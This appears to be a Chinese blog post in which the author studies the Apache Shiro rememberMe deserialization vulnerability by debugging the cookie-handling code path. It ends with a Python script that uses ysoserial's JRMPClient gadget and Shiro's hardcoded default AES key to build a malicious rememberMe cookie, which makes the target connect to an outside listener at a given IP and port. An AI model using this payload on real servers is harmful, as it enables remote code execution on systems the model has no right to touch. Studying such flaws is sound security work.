shiro反序列化学习
最近国庆学习一下shiro的反序列化
用docker大法来远程调试
https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
在
getRememberedIdentity
处下个断点跟进去
-w847
走
getRememberedPrincipals
-w865
getRememberedSerializedIdentity
在这里从cookie中获得rememberMe的值
convertBytesToPrincipals
在这里有一个
deserialize
进行反序列化的操作-w835
走了一次AES的解密
-w389
秘钥是通过这个函数拿的
搜索一下是怎么放进去的
-w823
通过了set的方法
在搜索一下这个在哪里调用
-w563
可以看到这个函数
再看一下key怎么来的
-w590
到当前类的构造方法里面了
说明值是这个
aes的key也有了就说明可以自己构造一个cookie
然后走
deserialize
进反序列化的方法-w797
到了这里可以看到readobject了
-w829
成功将rmi反序列化执行
疑难 -w868
因为我是官网下载的shiro.war
自带的lib特别少能使用的gadget只有rmi这种
这个错误
进入不到ois.readobject这个地方
-w339
lib只有这么多
-w1004将commons-beautils换成1.9.2重新编译一下
一直编译不成功救命=。=以后再看看为啥编译一直不行
payload
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme('118.24.25.25:3888')
print "rememberMe={0}".format(payload.decode())
参考
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://lightless.me/archives/java-unserialization-apache-shiro.html
https://mp.weixin.qq.com/s?__biz=MzAxNDM3NTM0NQ==&mid=2657034900&idx=1&sn=e4ff58b08bc3107a189b25d80ca5c6db&chksm=803fc24ab7484b5c9bf32512f33ba19bdf2966cf28f26505bbfb75c94adc4ff9ee5b73bdd874&mpshare=1&scene=23&srcid=&sharer_sharetime=1568782056559&sharer_shareid=aa9f5a7b16d5a9f506f2d4dac5dbd342
网友评论